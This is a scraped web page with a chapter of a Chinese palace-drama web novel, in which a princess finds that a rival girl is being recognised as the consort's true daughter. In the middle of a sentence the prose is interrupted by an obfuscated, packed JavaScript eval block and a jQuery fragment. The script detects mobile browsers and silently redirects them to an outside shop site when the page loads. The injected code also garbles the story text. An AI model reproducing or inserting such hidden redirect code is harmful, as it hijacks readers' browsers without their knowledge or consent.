文趣网 > 其他小说 > 东宫锁娇(强取豪夺) > 16. 冷雨
    长青伴侍东宫已久,却也鲜少见到如此模样的温栖玄。

    然而惊疑不过一瞬,烛光昏昧摇曳,温栖玄便又恢复了那副眉目疏淡的模样。长青便只当是自己方才看花了眼。

    他念及要紧之事,又道:

    “殿下,咱们此番回上陵属实匆忙,宁州还有不少要事待办。单是陈大人便已连送数封急函,说许多事都来不及交接,只好等着殿下。属下想着既然您明日回程已定,不如这便去安排车马。不然届时……怕是宁州那边又要一番忙乱。”

    这次东宫回上陵实在仓促,单是启程之际,江南一带的不少州郡便难以交差,尤以宁州为甚。

    按着既定行程,温栖玄原本还要在宁州待小半个月,可偏偏几日前忽然轻车简从,昼夜兼程赶回了上陵。

    只是东宫向来诸事繁碌,便是回来后也半日不曾停歇。

    温栖玄抬手按了按眉心,终是淡声道,“叫陈谦不必等孤。”

    “宁州河工,轻重缓急,陈谦自然清楚。”

    残风裹着残雪簌簌扑打着窗纸,在长青止不住的惊讶神色中,温栖玄阖上书页。

    案上长灯如豆,照着男人琳琅修长的指节,也照着那卷被翻阅得边缘已些许破旧的《大雍律》。

    寂寂风雪中,男人徐徐站起身来。

    月白色袍角长及曳地,他隔窗望去那团迷蒙墨色,良久方淡淡开口,只是那声音却实在疲倦得很,“至于何时启程……此事再议。”

    长青愈发诧然。要知道殿下行事向来雷厉风行,今夜能定夺之事,绝不会留及明日。何时有过这般犹疑之时?

    他抬起头,小心翼翼地觑了眼月色下那张挺立如刀削的侧脸,终究还是将心底疑问咽了下去,应是退去。

    .

    温姒宜近乎一整夜都未曾安眠。

    只要一阖上眼睛,那些可怖的景象便会不自觉地一幕幕在她眼前浮现。

    那是宴会时众人一张张望向她惊异的面孔,是骤然倒下的母妃,以及安嬷嬷伏倒在金砖上的模样……

    于是便猛然惊醒。她不可抑制地发着抖,流着泪……如此反复,直到天色将明,才倦极伏在枕畔,昏昏睡去。

    再睁眼时,殿内却格外安静。

    姒宜怔怔坐起身。

    窗扇半开,天光灰蒙蒙地漫进来,将一室锦绣都染得黯淡了几分。

    原来昨夜那沥沥风声,落得却并不是雪,而是寒气侵骨的冰雨。眼下仍未停歇,丝丝缕缕自檐角垂落,蜿蜒落在廊下青石之上。

    积了整整一冬的残雪,不知何时竟被融得只剩满地狼藉。

    天地皆是寂寂雨丝。

    远处朱墙金瓦间隔着一层雨雾,竟然头一次生出几分陌生。

    她怔怔地望着。

    松烟匆匆忙忙走入内殿之时,瞧见的便是姒宜赤着脚呆呆看着窗外的模样。

    那样如瀑一般的乌发散落在身后,脸色苍白如雪,眼尾分明仍残留着哭过的绯色。

    昭华宫向来规矩最重,便是平素奉茶添香,也鲜少听见这般慌乱的声音。可眼下松烟却是再也顾不得许多了。

    姒宜回过头去,松烟已然“扑通”一声跪倒在她的面前。

    “大清早的,慌什么。”

    姒宜淡淡开口,声音却低哑得厉害。

    松烟的模样却不比温姒宜好多少,得了训斥,那样瘦小的肩膀低低伏在地上,细细密密的泪珠随之洒落。

    “殿下……”

    “奴婢听闻昨夜,那白、白姑娘已经暂居聆霜宫,而方才、方才胡公公又传了旨意,说即日起一应仪仗、起居、份例……俱按公主之礼……而内务府、尚衣局、以及仪仗司的人,一大早便去聆霜宫前候着了……”

    姒宜没有说话,方才她赤足站了许久,如今才觉得脚下的金砖凉意透骨,一直漫到心口。

    窗外冷雨淋漓,远处宫道之上,一列内侍正撑着青盖宫伞缓缓而过,浩浩荡荡。

    那是足足二十四名宫女,八名内侍,手中的朱漆托盘覆着明黄云锦,她自然再清楚不过,那是内务府拨给皇嗣的规格。

    公主之礼……

    姒宜轻轻将这几个字忽然便又念了一遍。却轻轻笑了起来。

    父皇竟然这般急。

    明明一切都还未曾定论,昨日还说要彻查真相,可眼下却这般迫不及待地去迎另一个女儿入宫了……

    姒宜唇边笑意微收,眼底已彻底冷了下来,连最后那一丝湿润也消失殆尽。“更衣。”

    “去长乐宫,我要亲口问母妃。”

    ……

    待一路来到长乐宫前,雨势又密了几分。

    檐下水线垂珠,沿着汉白玉阶蜿蜒而下,宫门前那两株老梅经历一夜风雨,花瓣零零落落,铺了满地残红。

    姒宜来得匆忙,身上的外衣已然淋湿大半,此刻却也什么都顾不上,提着裙裾便迈步登阶。

    不过几步,昨日守在殿门前的那两个大宫女便慌忙迎了上来。

    两人神色踌躇,对看了一眼方福了身子。

    “三、三殿下……”

    姒宜没有停步,只问了句,“母妃可醒了?”

    其中叫汀兰的宫女颔首,“娘娘已然醒了。”

    姒宜眼眸一亮,可不过再走了两步,那两个宫女已然再度慌乱地挡在她身前。

    “让开。”

    “三殿下……陛下有旨,娘娘仍需静养,任何人不得擅闯……”

    又是这句话。

    可是如今却休想骗过她了。

    姒宜伸出手指,指向殿外不远处的那架青鸾翟车。

    雨声那样大,天地间细细密密,这辆车驾方才便一直静静停在那里。

    四周还悬着雨过天青色的宫绦,细碎的雨珠一滴滴坠落下来,再扬进风中。

    分明是公主仪驾。

    可这宫中,也不过只有她自己方能有这般仪制,便是五公主和七公主的仪驾规格都要低上半级。

    方才乘着这青鸾翟车之人来到这长乐宫之人,还能是谁呢?

    那两个宫女顺着姒宜手指的方向看去,脸色瞬间变得惨白。

    .

    此刻长乐宫主殿内,炭火静静燃着。

    角落里的三脚银兽香炉,焚着一丸鹅梨香。混杂着地龙蒸腾而起的暖意,在殿内低回游走,将殿外那一场潮寒至极的冷雨隔绝得干干净净。

    白蘅已换过衣裳。

    她原就身量纤弱,不过一夜,尚衣局也来不及裁制新衣,只寻了一袭月白云锦宫裙,腰间松松束着条银丝宫绦。满头乌发柔顺地挽在脑后,横插一支清淡的玉兰簪子。

    可偏偏便是这样素净的一身,却显得冰肌玉骨,暗香遍生。

    她静静坐在圆凳上,双手更是规规矩矩叠放在膝上,眼睫低垂,却叫满室的金碧辉煌都淡了颜色。

    乔贵妃和皇帝对看一眼,旋即目光回落到白蘅身上。

    昨日麟德殿人多眼杂,贵妃骤然瞧见那张脸,只觉得天地崩裂,根本来不及细看。

    如今方才能这般安安静静地看着面前的少女。

    那双眼睛,那样高挺的眉骨,还有低头时那一点几不可察的神色。

    乔贵妃的目光一寸又一寸在那张白净的脸庞上探寻中。

    她忽然便觉得心脏骤痛,竟再也呼吸不得。

    乔贵妃水葱般的指甲掩着心口,只想起承平二十一年的那个雪夜。

    彼时漫天飞雪,自己即将临盆,却因先皇后的追杀而一路奔逃,更是因劳顿困窘而高烧不退。

    便是那样苦痛之时,她诞下了自己的孩子。

    新生儿蜷在襁褓里,安静极了,不哭也不闹。

    她头痛得昏昏沉沉,只来得及将那小小的襁褓接过,在孩子眉眼间轻柔落下一吻。

    先皇后心狠手辣,更是恨毒了她,为了活命,她只能含泪和才出生的女儿作别,更是亲笔

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17686444|207484||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    在纸笺上写下公主的生辰。随后为了分散追击,便和安嬷嬷兵分两路,各自逃命。

    那样惊心动魄之时,她连自己的性命险些都要保不住了,自然也做好了最坏的打算……

    所以后来的失而复得,才是那样的欢欣至极,那样的刻骨铭心。

    可如若眼前几乎与年轻的自己一个模子刻出来的少女,才是那个在雪地里险些丢了性命,后来又这些年颠沛流离的,她的真正骨血呢?

    如若这些年的一切,皆是彻头彻尾的错误呢?

    想到这里,乔贵妃眼眶一红,两行清泪便又扑簌着掉下来。

    还是芳桐及时扶住她孱弱的身子,小心翼翼喂了她几口温热的参汤,贵妃方才缓过气来。

    皇帝看着乔贵妃这幅模样,已是心疼至极,便握着她的手安抚道:

    “昨夜朕查了一夜。尽管时间久远,可依朕看,此事已大抵分明。”

    见贵妃神色又是一颤,皇帝轻叹了声,“好在白蘅……长于河东道青阳县,这么些年,也算平安。”

    贵妃听了,胸口又是一阵剧烈起伏。

    青阳县。她自然记得那里……

    彼时逃难匆忙,又临近生产,她腹痛难忍,还曾在青阳县某个农户家的后院里歇息过两日。

    那里贫寒至极,简直是寸草不生之地。

    整整十七年,她竟这般愚蠢,养着旁人的孩子,将其视若珍宝。

    而她乔明霓的亲生骨血,却在青阳县那般窘困之地,孤苦伶仃,一日日长大至今!

    乔贵妃闭着眼睛,一时静默无言。

    待再睁开眼时,那双向来风情万千的凤眸里,却只剩下汹涌彻骨的恨意。

    那是对先皇后,还有对那个亲手弄错了自己骨肉的人,安嬷嬷的彻骨之恨!

    若非安氏畏罪自尽,她是恨不得亲自便去将她扒筋抽骨方才解恨!

    白蘅却还是未能从这样的震悚中回过神来。

    尽管昨日她亦是辗转反侧了一整夜,可此刻亲眼见到皇帝和贵妃的态度,也足以让她震颤不已。

    眼前这样高高在上之人、那样华贵美艳不可方物之人……难道便是她的亲生父母吗?

    她只觉鼻尖一酸,那样的不可置信充斥着满腔胸怀。

    良久,白蘅终究还是忍不住,“扑通”跪倒在地,朝着身着明黄色龙袍的皇帝以及早已泣不成声的贵妃重重地磕了个头。

    她迟疑着张了张口,那样细小的声音便极为艰涩地发出来,可转瞬白蘅便红了脸颊,将头埋得更低了些。

    贵妃却已连忙上前将白蘅扶起,一把将她拥入怀中。

    那一声微弱的“娘”,她自是听得清清楚楚!

    她抱着白蘅瘦弱的身躯,一下一下轻拍着白蘅的背,心里只道如此还能有什么假,眼前的少女,这便是她的亲生骨肉!

    贵妃和白蘅相拥哭泣之际,珠帘之外,忽有一阵极轻的脚步声响起。

    芳桐侧首看去,只见是宫女汀兰立在槅扇之外,明明是向来镇定之人,此刻脸上却一丝血色也无。

    见她望过来,汀兰如蒙大赦,连忙向窗外递了个眼色。

    芳桐心中一沉,只当是外面出了大事。正欲悄无声息地退出内殿,一道低沉平缓的声音却自身后响起。

    “何事。”

    皇帝坐于榻旁,正随手将贵妃方才用过的那一碗参汤放回案几之上,神色瞧不出半点喜怒。

    芳桐顿了脚步,心头一凛。

    汀兰见状,知道再也隐瞒不得,深吸了一口气忙迈步入殿,跪下道,“启禀陛下……是三公主执意求见娘娘,奴婢们劝解未果……实在是拦不住……”

    窗外的雨丝恰好静了一瞬。连贵妃的啜泣声都变得细不可闻。

    只听见皇帝神色阴沉,手指轻叩桌案,发出一下又一下的轻响。

    不知过了多久,皇帝闭了闭眼睛,那道沉声终于再度响起,“也罢,让她进来。”